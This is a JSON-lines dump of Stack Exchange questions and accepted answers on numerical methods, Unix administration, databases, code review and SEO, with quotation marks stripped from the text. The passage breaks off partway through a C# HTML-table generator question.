{  "id": "_scicomp.388"  , "question": "I am trying to integrate$$\\int^1_0 t^{2n+2}\\exp\\left({\\frac{\\alpha r_0}{t}}\\right)dt$$which is a simple transformation of$$\\int^{\\infty}_1 x^{2n}\\exp(-\\alpha r_0 x)dx$$using $t = \\frac1{x}$ because it is difficult to numerically approximate improper integrals.This does, however, lead to the problem of evaluating the new integrand near zero. It will be very easy to get the proper number of quadrature nodes seeing as the interval is only of length 1 (so the comparable $dt$ can be made very small), but what sort of considerations should I make when integrating near zero?On some level, I think that simply taking $\\int^1_\\epsilon t^{2n+2}\\exp({\\frac{\\alpha r_0} {t}})dt$ is a good idea where $\\epsilon$ is some small number. However, what number should I choose? Should it be machine epsilon? Is division by machine epsilon a well quantified number? Furthermore, if division my machine epsilon (or close to it) gives an incredibly large number, then taking $\\exp(\\frac{1}{\\epsilon})$ will become even larger.How should I account for this? Is there a way to have a well defined numerical integral of this function? If not, what is the best way of integrating the function?"  , "title": "numerical integration with possible division by 'zero'"  , "tags": "numerics;quadrature;accuracy"  , "accepted_answer": "This can be done by integration by parts:$$   \\int^\\infty_1 x e^{-ax} = \\frac{-1}{a} x e^{-ax}\\mid^\\infty_1 - \\frac{-1}{a} \\int^\\infty_1 e^{-ax} = \\frac{e^{-a}}{a} + \\frac{e^{-a}}{a^2} = \\frac{a+1}{a^2} e^{-a} $$and continuing on by induction$$   \\int^\\infty_1 x^k e^{-ax} = \\frac{-1}{a} x^k e^{-ax}\\mid^\\infty_1 - \\frac{-k}{a} \\int^\\infty_1 x^{k-1} e^{-ax} = \\frac{e^{-a}}{a} + \\frac{k}{a} \\int^\\infty_1 x^{k-1} e^{-ax} $$so that$$   I(k) = \\frac{e^{-a}}{a} + \\frac{k}{a} I(k-1) $$and $I(0) = \\frac{e^{-a}}{a}$."  } 
{  "id": "_softwareengineering.22552"  , "question": "We've all (almost all) have heard about the horror stories as well as perhaps studied about them.Its easy to find stories of software that is over budget and late.I wanted to hear from developers the opposite story:Question:Do you know, or have worked on a project that was on budget and on time?What is the most valuable lesson you learned from it?"  , "title": "Software on Budget and on time?"  , "tags": "project management;project"  , "accepted_answer": "Yep, I've seen it happen.Key elements:1) Well defined requirements, clearly agreed, with a solid change control process.2) Developers involved in the estimates, with no pressure on them to produce estimates which were what the client wanted to hear, just what they really thought would be needed to complete the work properly3) Estimates that also took account of risks and uncertainties4) Facilitate early feedback from the client - we've provided videos, demos (hands on and hands off depending on stability) as early as possible5) A stable team whose availability has been realistically figured into the schedule (for instance if they spend a day a week doing support and admin, then they're only expected to complete 4 days a week work on the project)  It's not rocket science but removing the commercial pressures and, critically, getting the requirements clear and controlling them is challenging (and where things normally fall down)."  } 
{  "id": "_unix.34171"  , "question": "I need to save data from a failing hard drive.Sounds like ddrescue or myrescue (or maybe clonezilla?) will be my best friends here, but I'm just wondering what will likely be faster:using dd/ddrescue/myrescue/clonezilla to simply clone the failing drive to a new drive of identical capacityusing rsync/tar/cp to move files from the failing drive to a new drive?dd-ish choices avoid moving data back and forth between kernel-space and user-space, right? But rsync and others avoid moving empty space, right?Another oddly fortunate bit if I choose a dd-ish solution: the failing drive is currently mounted read-only (part of the failure process, I think) so I guess I don't have to worry about data changing while I'm dd'ing.This is the root partition, so dd would be handy in that I should be able to boot the new drive after it completes."  , "title": "What's faster, dd 1.5TB or rsync 500GB?"  , "tags": "hard disk;performance;dd"  , "accepted_answer": "No question, rsync will be faster.  dd will have to read and write the whole 1.5TB and it will hit every bad block, triggering multiple read retries which will further slow an already long process.  rsync will only have to read blocks that matter, and since it is unlikely that every bad block occurs in existing files or directories, rsync will encounter fewer of them.The bad thing about using rsync for disk rescue is that if it does encounter a bad block, it gives up on the file or directory that contains it.  If a directory contains a lot of subdirectories and rsync gives up on reading it, then your copy could be missing a lot of what you want to save.  The problem is that rsync relies on the filesystem structures to tell it what to copy and the filesystem itself is no longer trustworthy.For this reason I would first use rsync to copy files off the drive, but I would look very carefully at the output to see what was missed.  If you can't live without what rsync failed to copy, then use dd or one of the other low level block copying methods.  You can then fsck the copy, mount it and see if you can recover more of your files."  } 
{  "id": "_webmaster.61773"  , "question": "There was a change in Google Keyword Planner that added a search volume trends graph. How is it calculated?The keyword keyword1 has 800 average monthly searches while the search volume trends shows 3000 - why?"  , "title": "What are search volume trends in AdWords?"  , "tags": "seo;google adwords;google keyword tool"  } 
{  "id": "_webmaster.95435"  , "question": "Please consider the following image, from Google Webmaster ToolsI have these unnaturally high link counts coming in from lowish Page Rank Domains (MOZ Score 13)Is this natural? Is this hurting my site? Is this an indication of someone trying to bring my SEO rankings down?The green circle is from a friendly competitor (which is natural hench green), the other two I dont know"  , "title": "Unnaturally high number of links from domain"  , "tags": "seo;google search console;links;backlinks"  , "accepted_answer": "Without knowing the domains linking to your website and indeed your own domain, it is impossible to be 100% certain of what nature and reason those domains have a number of links pointing to a page on your website but there is not necessarily any cause for alarm or concern.Firstly metric-wise, don't worry that a domain has a low Moz domain authority that is linking to you, DA is based on authority passed through linkage so if a website is relatively new or for whatever reason, does not have that many external links pointing to it, it does not mean that it is spammy or should not be trusted or can cause harm.There are many possible instances that could lead to a sitewide link pointing to one of your pages, or multiple links from a domain pointing to one of your pages. When you have multiple links coming from the same domain to the same page on your own website, the sitewide/multiple nature diminishes the links anyhow to something roughly equivalent to just one link from that domain to your page being counted/paid attention to.Something to note, there is nothing (or at least, very little) you can detect as unnatural in Google Search Console as it is quite a basic tool that only touches the surface of website behaviour.If you want to check for any malicious activity in relation to your website and external linkage, ensure that you don't have an abnormally high count of unnatural and spammy looking exact match keyword anchors pointing building to your website. This will be the quickest way a competitor can win with negative SEO against you.Hope that helps - of course, we could provide more information knowing the domains in question censored in your screenshot."  } 
{  "id": "_cs.30772"  , "question": "Consider the Mergesort algorithm on inputs of size $n = 2^k$. Normally, this algorithm would have a recursion depth of $k$. Suppose that we modify the algorithm so that after $k/2$ levels of recursion, it switches over to insertion sort. What is the running time of this modified algorithm?I know that MergeSort has worst-case runtime of $O(n \\log n)$ and Insertion Sort has worst-case runtime of $O(n^2)$, but I'm not sure how these bounds will be affected within the problem above."  , "title": "What is the runtime of Mergesort if we switch to Insertion Sort at logarithmic depth?"  , "tags": "algorithms;algorithm analysis;runtime analysis;sorting"  } 
{  "id": "_opensource.2821"  , "question": "I searched all over the Internet but I was not able to find if anyone has raised this issue. I want to edit some files in an open source sample project provided by Google (change some methods and the package name of all the files), and then deploy the app on the Play Store.I have the following questions:Can I do this?If I can, do I need to keep any license declaration in my app, or do I need to open source my project?NOTE: I know that the Google samples are licensed under the Apache License 2.0. But I am not able to find the answers to my questions in the licensing terms."  , "title": "Can we edit Google Android sample project and create app"  , "tags": "licensing;apache 2.0;proprietary code;open source definition"  } 
{  "id": "_softwareengineering.60872"  , "question": "I have a list of products. Each of them is offered by N providers. Each providers quotes us a price for a specific date. That price is effective until that provider decides to set a new price. In that case, the provider will give the new price with a new date.The MySQL table header currently looks like:provider_id, product_id, price, date_price_effectiveEvery other day, we compile a list of products/prices that are effective for the current day. For each product, the list contains a sorted list of the providers that have that particular product. In that way, we can order certain products from whoever happens to offer the best price.To get the effective prices, I have a SQL statement that returns all rows that have date_price_effective >= NOW(). That result set is processed with a ruby script that does the sorting and filtering necessary to obtain a file that looks like this:product_id_1,provider_1,provider_3,provider8,provider_10...product_id_2,provider_3,provider_2,provider1,provider_10...This works fine for our purposes, but I still have an itch that a SQL table is probably not the best way to store this kind of information. I have that feeling that this kind of problema has been solved previously in other more creative ways.Is there a better way to store this information other than in SQL? or, if using SQL, is there a better approach than the one I'm using?"  , "title": "How to store prices that have effective dates?"  , "tags": "design patterns;database"  , "accepted_answer": "For items that vary based on time (such as being able to answer things like what was the price of X on date D or which cow was in feedlot Q on date E) I recommend reading the book Developing Time-Oriented Database Applications in SQL. While this book is out of print, the author has graciously made available the PDF of the book as well as the associated CD on his website.  http://www.cs.arizona.edu/~rts/publications.html (look for the first item under books).For a brief introduction online, see:http://talentedmonkeys.wordpress.com/2010/05/15/temporal-data-in-a-relational-database/http://martinfowler.com/eaaDev/TemporalProperty.html"  } 
{  "id": "_cseducators.2800"  , "question": "One of the next big thing that will get people interested are block-chain based technology. Many people are asking about WTH is blockchain and it seems that this will be asked quite a lot in coming days, both from CS and non-CS folks. Now, I love explaining particulars using an analogy. Is there some analogy that I could use to eli5 to non-CS folks that are curious?(Really appreciate answers, as I will simply link to this question for people asking about blockchains)"  , "title": "How do I explain blockchain using an analogy?"  , "tags": "teaching analogy;layperson"  , "accepted_answer": "Use a classroom activity, then present that as the analogy.An old campfire activity, for those that remember it. A growing story that nobody knows the end of, or even if it will end.The objective is to create a story, with everyone adding their parts, in turn. Someone starts the story by saying a few lines, and ending mid-sentence, just before some action happens. The next person repeats what the first persons said, and has to finish that sentence with something that makes sense, and then continues the story, using their own idea, since they don't know what the first person was thinking. Like the first person, the second stops mid-sentence in what they're saying. The third person repeats everything the second said (which includes what the first one said), and finishes the sentence left incomplete by the second. Adding more lines to the story, this person also ends mid-sentence. It continues in a similar fashion with each person repeating the whole story from the beginning, adding a couple lines, and ending mid-sentence. At some point the next person will not be able to repeat, even in their own words, the story so far, and the chain fails, hence ending. If it happens to be too short, or if not every student has had the opportunity to participate, a new story may be started, and try again. Once everyone has had a chance to participate, in as many rounds as you deem appropriate, you can pick up the chain and finish the sentence, and the story, bringing it to a successful completion.After the story, or stories, have run their course, you can relate the process to a blockchain. Each piece (except the first) depends upon the preceding piece, and is meaningless without it. If, at any point, someone in the chain doesn't hold up their part of the contract, by completing the previous sentence, the story is ruined. Still, even without an end, everything up to the last incomplete sentence remains valid, and can be traced back to the original piece.This is totally non-technical, so it will not be of value in discussing blockchain implementations. It will, however, be memorable, and the students should be able to grasp the concepts behind a blockchain implementation when you do present it."  } 
{  "id": "_unix.211231"  , "question": "How can I read out WLAN RSSI value for each radio channel from command line? Target system would be either Ubuntu 15.04 or Raspberry Raspbian.By RSSI, I mean the raw received power, before any WLAN specific L1 operations.  This is pretty much same way as in the 3GPP WCDMA, RSSI value means the raw energy received on antenna. Not just the received code power, not the signal-to-noise ratio. Just the overall received signal power containing both payload signal and any possible noise.The only solution I have found so far is wavemon: when started with parameter -d, it will print out signal and noise values and I can grep out them easily. But are there other possibilities or would there be even some ready-made utility to scan for noise over all WLAN channels?Reason for this question is that my both of my home 2.4G band WLAN networks have some random, but frequent problems blocking usage of both networks simultaneously. Problems are not related to WLAN base station HW, channel numbers or any of my own HW - all those have already been eliminated. Problems are not visible on my 5G band WLAN networks - those operate well also during 2.4G band problems.I'm now suspecting that my 2.4G band WLAN networks are victims of some external noise. I need to collect more evidence and my plan was to set up one Ubuntu or Rasberry device to continuously scan over 2.4G WLAN channels, and to combine the resulting long time information with e.g. ping status over my 2.4G WLAN networks.Additional information: I found one utility: https://github.com/simonwunderlich/FFT_eval This one uses laptop's existing WLAN card (assuming card has certain chipset) to make the proper FFT scan over WLAN band. Here is an example measurement: I'll try to tweak this utility so that I would get regular (like once per 10 seconds or so) scan results stored to file."  , "title": "How to scan WLAN RSSI in command line?"  , "tags": "wlan"  } 
{  "id": "_computergraphics.100"  , "question": "I often find myself copy-pasting code between several shaders. This includes both certain computations or data shared between all shaders in a single pipeline, and common computations which all of my vertex shaders need (or any other stage).Of course, that's horrible practice: if I need to change the code anywhere, I need to make sure I change it everywhere else.Is there an accepted best practice for keeping DRY? Do people just prepend a single common file to all their shaders? Do they write their own rudimentary C-style preprocessor which parses #include directives? If there are accepted patterns in the industry, I'd like to follow them."  , "title": "Sharing code between multiple GLSL shaders"  , "tags": "glsl"  , "accepted_answer": "There's a bunch of a approaches, but none is perfect.It's possible to share code by using glAttachShader to combine shaders, but this doesn't make it possible to share things like struct declarations or #define-d constants. It does work for sharing functions.Some people like to use the array of strings passed to glShaderSource as a way to prepend common definitions before your code, but this has some disadvantages:It's harder to control what needs to be included from within the shader (you need a separate system for this.)It means the shader author cannot specify the GLSL #version, due to the following statement in the GLSL spec:The #version directive must occur in a shader before anything else, except for comments and white space.Due to this statement, glShaderSource cannot be used to prepend text before the #version declarations. This means that the #version line needs to be included in your glShaderSource arguments, which means that your GLSL compiler interface needs to somehow be told what version of GLSL is expected to be used. Additionally, not specifying a #version will make the GLSL compiler default to using GLSL version 1.10. If you want to let shader authors specify the #version within the script in a standard way, then you need to somehow insert #include-s after the #version statement. This could be done by explicitly parsing the GLSL shader to find the #version string (if present) and make your inclusions after it, but having access to an #include directive might be preferable to control more easily when those inclusions need to be made. On the other hand, since GLSL ignores comments before the #version line, you could add metadata for includes within comments at the top of your file (yuck.)The question now is: Is there a standard solution for #include, or do you need to roll your own preprocessor extension?There is the GL_ARB_shading_language_include extension, but it has some drawbacks:It is only supported by NVIDIA (http://delphigl.de/glcapsviewer/listreports2.php?listreportsbyextension=GL_ARB_shading_language_include)It works by specifying the include strings ahead of time. Therefore, before compiling, you need to specify that the string /buffers.glsl (as used in #include /buffers.glsl) corresponds to the contents of the file buffer.glsl (which you have loaded previously).As you may have noticed in point (2), your paths need to start with /, like Linux-style absolute paths. This notation is generally unfamiliar to C programmers, and means you can't specify relative paths.A common design is to implement your own #include mechanism, but this can be tricky since you also need to parse (and evaluate) other preprocessor instructions like #if in order to properly handle conditional compilation (like header guards.)If you implement your own #include, you also have some liberties in how you want to implement it:You could pass strings ahead of time (like GL_ARB_shading_language_include).You could specify an include callback (this is done by DirectX's D3DCompiler library.)You could implement a system that always reads directly from the filesystem, as done in typical C applications.As a simplification, you can automatically insert header guards for each include in your preprocessing layer, so your processor layer looks like:if (#include and not_included_yet) include_file();(Credit to Trent Reed for showing me the above technique.)In conclusion, there exists no automatic, standard, and simple solution. In a future solution, you could use some SPIR-V OpenGL interface, in which case the GLSL to SPIR-V compiler could be outside of the GL API. Having the compiler outside the OpenGL runtime greatly simplifies implementing things like #include since it's a more appropriate place to interface with the filesystem. I believe the current widespread method is to just implement a custom preprocessor that works in a way any C programmer should be familiar with."  } 
{  "id": "_unix.170346"  , "question": "In a CentOS 7 server, I want to get the list of selectable units for which journalctl can produce logs.  How can I change the following code to accomplish this?  journalctl --output=json-pretty | grep -f UNIT | sort -u  In the CentOS 7 terminal, the above code produces grep: UNIT: No such file or directory.  EDIT: The following java program is terminating without printing any output from the desired grep.  How can I change things so that the java program works in addition to the terminal version?      String s;    Process p;    String[] cmd = {journalctl --output=json-pretty ,grep UNIT ,sort -u};    try {        p = Runtime.getRuntime().exec(cmd);        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));        while ((s = br.readLine()) != null)            System.out.println(line:  + s);        p.waitFor();        System.out.println (exit:  + p.exitValue()+, +p.getErrorStream());        BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream()));        while ((s = br2.readLine()) != null)            System.out.println(error line:  + s);        p.waitFor();        p.destroy();    } catch (Exception e) {}  "  , "title": "list of selectable units for journalctl"  , "tags": "grep;systemd"  , "accepted_answer": "journalctl can display logs for all units - whether these units write to the log is a different matter.To list all available units and therefore all available for journalctl to use:systemctl list-unit-files --allAs to your java code, in order to make pipes work with Runtime.exec() you could either put the command in a script and invoke the script or use a string array, something like:String[] cmd = {sh, -c, command1 | command2 | command3};p = Runtime.getRuntime().exec(cmd);or: Runtime.getRuntime().exec(new String[]{sh, -c, command1 | command2 | command3});"  } 
{  "id": "_scicomp.10843"  , "question": "I'm dealing with Jacobi iterative method for solving sparse system of linear equations. For small matrices it works well and gives right answers even if matrix is not strictly diagonal dominant, however for the case of really big matrices ($100000*100000$) it does not converge because the matrix is not diagonal. Many articles suggest to interchange rows and columns in order to make diagonal dominant matrices, however for the case of my matrix it is always not diagonal dominant. Could anyone please, suggest me how to deal with this problem? Maybe there is some method how to choose right initial approximation or maybe there is more robust algorithm exists. I'm a newcomer in this field and I would be appreciated for any help."  , "title": "Problem with convergence of Jacobi iterative algorithm"  , "tags": "matrices;linear solver;convergence"  , "accepted_answer": "The Jacobi iteration is the worst possible solver for linear systems. Furthermore, contrary to your belief (but easy to show), it is entirely independent of the ordering of the unknowns, so reordering rows and columns of the system makes absolutely no difference.There are many better methods for solving linear systems, among them CG and GMRES, and there are many good books on the subject (e.g., the one by Y. Saad). My take on many of the issues with solver and preconditioners is given in lectures 34-38 at http://www.math.tamu.edu/~bangerth/videos.html ."  } 
{  "id": "_codereview.3138"  , "question": "I have a simple implementation for a LRU cache using LinkedHashMap. I want it to be as generic as   possible. This is not for production use, just practice, so I don't careif its thoroughly robust as far as itis correct. However, I will welcomeany comments, especially the oneswhich might make this better withsimple changes :) Are there any other ways of doing this?class LRUCache<E> {    @SuppressWarnings(unchecked)    LRUCache(int size)    {        fCacheSize = size;        // If the cache is to be used by multiple threads,        // the hashMap must be wrapped with code to synchronize         fCacheMap = Collections.synchronizedMap        (            //true = use access order instead of insertion order            new LinkedHashMap<Object,E>(fCacheSize, .75F, true)            {                                                @Override                public boolean removeEldestEntry(Map.Entry eldest)                  {                    //when to remove the eldest entry                    return size() > 99 ;   //size exceeded the max allowed                }            }        );    }    public void put(Object key, E elem)    {        fCacheMap.put(key, elem);    }    public E get(Object key)    {        return fCacheMap.get(key);    }    private Map<Object,E> fCacheMap;    private int fCacheSize;}"  , "title": "LinkedHashMap as LRU cache"  , "tags": "java;cache;collections"  } 
{  "id": "_unix.338543"  , "question": "I am unable to figure out where is the exact problem on my disk. as per the screenshot it says that there is Input/Output error."  , "title": "lvs shows Input/Output error"  , "tags": "linux;lvm"  , "accepted_answer": "The error indicated is happening at 4 different offsets (sectors) of your /dev/sdao device:040967516186214475161919488How you determine that it is not a hardware failure is beyond me as it is most likely the case."  } 
{  "id": "_cs.26389"  , "question": "Couldn't the type inference in Apple's new programming language Swift had been done more aggressive? For instance why can't the return type of a function be deduced?func sayHello(personName: String) -> String {   let greeting = Hello,  + personName + !   return greeting}"  , "title": "Why isn't the Swift programming language type inference more aggressive?"  , "tags": "programming languages;type inference"  } 
{  "id": "_unix.69185"  , "question": "When I execute following command to get cpu usage , I get nice + user cpu usage.top -b -n1 | grep Cpu(s) | awk '{print $2 + $4}' Output: 14.5Here I am getting problem is that the output depends on top command thus it doesn't change instantly as top command. So I am not getting correct cpu instantly. It gives same output and not changing.I want to get realtime cpuusage in output. Please help me to improve my command."  , "title": "Getting cpu usage same every time."  , "tags": "command line;cpu"  } 
{  "id": "_softwareengineering.288925"  , "question": "While chasing a segfault around a complicated and grouchy c++ program I added several //comments and cout statements, but no 'actual' code. Then, suddenly, for no apparent reason the segfault vanishes.I'm happy, but still a little worried, because I don't think I fixed anything and there was clearly something wrong. How can I debug a problem that has disappeared? (sadly I don't have a version that's still giving a segfault, any older versions have other problems)As an aside, do you think I am mistaken in thinking that I have only added //comments and cout statements? Is it more likely that I accidentally altered something else?"  , "title": "How to debug a program after it appears to fix itself"  , "tags": "c++;debugging"  , "accepted_answer": "Getting a segmentation fault only happens when you have invoked undefined behaviour. And undefined behaviour means that the normal rules of a programming language don't apply: whatever the run-time system does is by definition OK, and you don't get to complain about it. It might even do the expected thing, just to confuse you.In particular, adding debug statements can change a program so that it raises exceptions where it didn't before, or vice versa. Indeed, this is expected, because detecting memory access violations depends on how precisely things are laid out in memory, and any code you add changes these details.Therefore, your program was definitely wrong before, and if you don't get exceptions now, it is almost certainly still wrong, only less obviously wrong. It is much more likely that introducing debug messages changed the variety of undefined behaviour you get than that you fixed your logic and didn't notice."  } 
{  "id": "_codereview.40067"  , "question": "I'm trying to come up with an alternative to the gmean implementation in scipy, because it is awkwardly slow. To that end I've been looking into alternate calculation methods and implementing them in numpy. My only issue is that a method that in the two methods I'm implementing, the one that I feel ought to be faster is in fact much slower. I feel like this is an issue with my implementation and would love advice on improving it.def fast_gmean(vector, chunk_size=1000):    base, exponent = np.frexp(vector)    exponent_sum = float(np.sum(exponent))    while len(base) > 1:        base = np.array_split(base, math.ceil(float(base.size)/chunk_size))        intermediates = np.array([np.prod(split) for split in base])        base, current_exponent = np.frexp(intermediates)        exponent_sum += np.sum(current_exponent)    return (base[0]**(1.0/vector.size)) * (2**(exponent_sum/vector.size))def actually_fast_gmean(vector):    return np.exp(np.mean(np.log(vector)))While these both outperform scipy's gmean implementation, the second method is about 33% faster than the first.Note: I'm testing this on arrays of approximately 5000 entries."  , "title": "Optimizing numpy gmean calculation"  , "tags": "python;numpy"  , "accepted_answer": "1. Checking your claimYou claim that these both outperform scipy's gmean implementation, but I can't substantiate this. For example:>>> import numpy>>> data = numpy.random.exponential(size=5000)>>> from timeit import timeit>>> timeit(lambda:fast_gmean(data), number=10000)5.540040018968284>>> timeit(lambda:actually_fast_gmean(data), number=10000)1.4999530320055783>>> from scipy.stats import gmean>>> timeit(lambda:gmean(data), number=10000)1.4939542019274086So as far as I can tell, there's no significant difference in runtime between your actually_fast_gmean and scipy.stats.gmean, and your fast_gmean is more than 3 times slower.So I think you need to give us more information. What's the basis for your claim about performance? What kind of test data are you using?(Update: in comments it turned out that you were using scipy.stats.mstats.gmean, which is a version of gmean specialized for masked arrays.)2. Read the source!If you look at the source code for scipy.stats.gmean, you'll see that it's almost exactly the same as your actually_fast_gmean, except that it's more general (it takes dtype and axis arguments):def gmean(a, axis=0, dtype=None):    if not isinstance(a, np.ndarray):  # if not an ndarray object attempt to convert it        log_a = np.log(np.array(a, dtype=dtype))    elif dtype:  # Must change the default dtype allowing array type        if isinstance(a,np.ma.MaskedArray):            log_a = np.log(np.ma.asarray(a, dtype=dtype))        else:            log_a = np.log(np.asarray(a, dtype=dtype))    else:        log_a = np.log(a)    return np.exp(log_a.mean(axis=axis))So it's not surprising that these two functions have almost identical runtimes.3. Why fast_gmean is slowYour strategy is to avoid calls to log by performing arithmetic on the exponent and mantissa parts of the floating-point numbers.Very roughly speaking, for each element of the input, you avoid one call to each of log and mean, and gain one call to each of frexp, sum, array_split and prod.>>> from numpy import log, mean, frexp, sum, array_split, prod>>> for f in log, mean, frexp, sum, prod:...     print(f.__name__, timeit(lambda:f(data), number=10000))log 1.0724926821421832mean 0.3662677980028093frexp 0.34479621006175876sum 0.21649421006441116prod 0.280590218026191>>> timeit(lambda:array_split(data, 5), number=10000)2.1635821380186826So it's the call to numpy.array_split that's costly. You could avoid this call and split the array yourself, like this:def fast_gmean2(vector, chunk_size=1000):    base, exponent = np.frexp(vector)    exponent_sum = np.sum(exponent)    while base.size > 1:        intermediates = []        for i in range(0, base.size, chunk_size):            intermediates.append(np.prod(base[i:i + chunk_size]))        base, current_exponent = np.frexp(np.array(intermediates))        exponent_sum += np.sum(current_exponent)    return base[0] ** (1.0/vector.size) * 2 ** (exponent_sum/vector.size)and this is roughly twice as fast as your version:>>> timeit(lambda:fast_gmean2(data), number=10000)2.585187505930662but still about twice as slow as scipy.stats.gmean, and that's because of the Python interpreter overhead. Numpy has a speed advantage whenever you can vectorize your operations so that they run on fixed-size datatypes in the Numpy core (which is implemented in C for speed). If you can't vectorize your operations, but have to loop over them in Python, then you pay a penalty.So let's vectorize that:def fast_gmean3(vector, chunk_size=1000):    base, exponent = np.frexp(vector)    exponent_sum = np.sum(exponent)    while len(base) > chunk_size:        base = np.r_[base, np.ones(-len(base) % chunk_size)]        intermediates = base.reshape(chunk_size, -1).prod(axis=0)        base, current_exponent = np.frexp(intermediates)        exponent_sum += np.sum(current_exponent)    if len(base) > 1:        base, current_exponent = np.frexp([base.prod()])        exponent_sum += np.sum(current_exponent)    return base[0] ** (1.0/vector.size) * 2 ** (exponent_sum/vector.size)For arrays of the size we've been testing (about 5000), this is a little slower than fast_gmean2:>>> timeit(lambda:fast_gmean3(data), number=10000)2.8020136120030656But for larger arrays it beats gmean:>>> bigdata = np.random.exponential(size=1234567)>>> timeit(lambda:gmean(bigdata), number=100)3.192410137009574>>> timeit(lambda:fast_gmean3(bigdata), number=100)2.3945167789934203So the fastest implementation depends on the length of the array.4. Other comments on fast_gmeanThere's no docstring. What does this function do and how do I call it? What value should I pass in for the chunk_size argument?It's critical that chunk_size is not too large, otherwise the call to prod could underflow and the result will be incorrect. So there needs to be a check that the value is safe, and a comment explaining how you computed the safe range of values."  } 
{  "id": "_unix.48223"  , "question": "I'm trying to run strace trough ccze, and the pipe doesn't work as expected.The command-line I'm running to test is sudo strace -p $(pgrep apache2)  | grep open, and all lines are output, ignoring grep.Is there something special about strace that causes this behavior?"  , "title": "piping strace to grep"  , "tags": "io redirection;strace"  , "accepted_answer": "strace prints its traces on standard error, not on standard output. That's because it's common to want to redirect the standard output of the program, but usually not a problem that strace's stderr and the program's stderr are mixed.So you should redirect strace's stderr to stdout to be able to pipe it:sudo strace -p $(pgrep apache2) 2>&1 | grep openexcept that what you're really looking for issudo strace -p $(pgrep apache2) -e open"  } 
{  "id": "_codereview.15513"  , "question": "I am trying to place JButtons from an array onto a JFrame. The way I'm doing it is having it test how many more buttons are left, and if buttons have been placed at the edge of the frame. The end result is an ugly piece of code.JButton[] grid = new JButton[2501];JFrame MapFrame = new JFrame();public void makeMap() {    MapFrame.setBounds(40, 0, 750, 773);    int x = 0;    int y = 0;    for (int i = 0; i < grid.length; i++) {   // grid is the JButton Array        if (x > 749) {            x = 0;            y = y + 15;        }        grid[i] = new JButton();        grid[i].setBounds(x, y, 15, 15);        MapFrame.add(grid[i]);        x = x + 15;    }    MapFrame.setVisible(true);    MapFrame.repaint();}The code just looks so bulky with variables being changed in different braces, and with so many braces. How could I make this more elegant? (Please don't recommend layouts, as, none of them fit my requirements.)"  , "title": "How can I make placing JButtons from an array more elegant?"  , "tags": "java;swing"  , "accepted_answer": "In order to find a more elegant solution, we first need to identify the problems; only then can we solve them:Magic NumbersOne of the confusing things about this snippet is that we constantly (pun intended) come across magic values such as 15 and 749. What if the map gets bigger in the future, or the dimensions of the buttons change? Solution: Define constants.Note: I used the Java naming convention for constants, which is SHOUTY_CASE, although I dislike it, because unified coding standards when sharing code trump personal preferences.private static final int NUMBER_OF_BUTTONS = 2501;private static final int BUTTON_SIDE = 15;Unnecessary use of arrayWhy are you copying every button into your grid before adding them to the mapFrame? If you aren't accessing them from the array later on, you can get rid of all the access-by-index complexity.JButton button = new JButton();button.setBounds(x, y, BUTTON_SIDE, BUTTON_SIDE);mapFrame.add(button);   Function doing too many thingsThe empty lines that you have used to split your code into sections is a code smell: it indicates that your function is doing too many different things, and therefore needs to be divided into several functions, each doing one thing. To quote Robert C. Martin, author of Clean Code: A Handbook of Agile Software Craftsmanship:Functions should do one thing. They should do it well. They should do it only.Using complex syntax for simple thingsCode like the following two examples from your code snippetx = x + 15;y = y + 15;can be shortened by using the combined += operator.Refactoredprivate static final int NUMBER_OF_BUTTONS = 2501;private static final int BUTTON_SIDE = 15;private JFrame mapFrame = new JFrame();public void createAndShowMap() {    mapFrame.setBounds(40, 0, 750, 773);    addButtons();    mapFrame.setVisible(true);}private void addButtons() {    int leftOffset = 0;    int topOffset = 0;    for (int i = 0; i < NUMBER_OF_BUTTONS; i++) {        if (isBeyondEndOfLine(leftOffset)) {            leftOffset = 0;            topOffset += BUTTON_SIDE;        }        addButtonAt(leftOffset, topOffset);        leftOffset += BUTTON_SIDE;    }}private boolean isBeyondEndOfLine(int x) {    return x >= mapFrame.getBounds().width;}private void addButtonAt(int x, int y) {    JButton button = new JButton();    button.setBounds(x, y, BUTTON_SIDE, BUTTON_SIDE);    mapFrame.add(button);}"  } 
{  "id": "_softwareengineering.63918"  , "question": "Is it conceptually feasible to have on a Postgresql Cluster a transactional database and at the same time a datawarehouse that would get feeded by the transactional database ? "  , "title": "Transactional database and Datawarehouse on the same Postgresql cluster?"  , "tags": "database;database design;cluster"  } 
{  "id": "_codereview.93692"  , "question": "I want to keep trying to get response until its code is 200 or unknown yet. In first case it should be stored in response variable. In another case I should raise any kind of exception.  response = nil  1.times do    response = begin      http.request request    rescue Net::ReadTimeout      puts Net::ReadTimeout      retry    end    case response.code    when 503      puts servers are busy at #{Time.now}?      sleep 5      redo    when 200      ok    else      fail #{response.code} at '#{request.path}'    end  endThe 1.times thing is taken from SO."  , "title": "Retry storing HTTP response into a variable until specific code"  , "tags": "ruby;error handling;http"  } 
{  "id": "_codereview.19712"  , "question": "This is a project I am working on, which generates an HTML table out of a query result.(The result DataTable of an SQL command via SP)This section of the project is the one that will generate the headers of the table according to the list of columns of each table selected (from the database list of tables). What I am trying to review here is the section that's responsible for generating an HTML markup programmatically.I would like to know your opinion and what you would do differently.In aspx, I will move this back after tests are completed:<%   //instantiating class to Get A List<string> returned (of all db table-columns)  // this code is  inplementing  GetClassFields class  // you can see its code in section #2 below (helpers section)    var TableColscls = GetClassFields.AsListStr(GetClassFields.SelectedClass.tables, tbls.TblTimeCPAReport);%>Then using the list above for the generated HTML table:<div style=width:90%;  dir=rtl><%=RenderHtmlTblHeaders(TableColscls)%></div>.cs code behind // some usings  using Lsts = HTMLGenerator.dataSource.List; // this is what i call HTML TABLE GENERATOR  // or DB TO HTML Tables Adapterpublic string RenderHtmlTblHeaders(List<string> SelectedListStr){    List<string> OmittedCols = new List<string>();    OmittedCols.Add(imprtCPAcols.tbName);    OmittedCols.Add(imprtCPAcols.tbIdentCol);    StringBuilder NwTRLoopSB = new StringBuilder();    string curRowStyle= string.Empty,           nwLine = Environment.NewLine + \\t\\t\\t,           BaseTemplateTD = string.Empty;    NwTRLoopSB.Append(            string.Format(                <table id='tbl_Settings' cellspacing='0' border='1'><tr id='TR_headers'{0}>{1},                curRowStyle,                nwLine                )._Dhtml_DoubleQoutes()        );//a new approach i've discovered (in one of the posts on `SO` )//to have a counter with foreach loops    foreach (var Item in SelectedListStr.Select((Val, counter) => new { Value = Val, Index = counter }))    {            if(Lsts.ExcludeColumns(Item.Value, OmittedCols))            {                BaseTemplateTD = string.Format(<td>{0}</td>{1}, Item.Value, 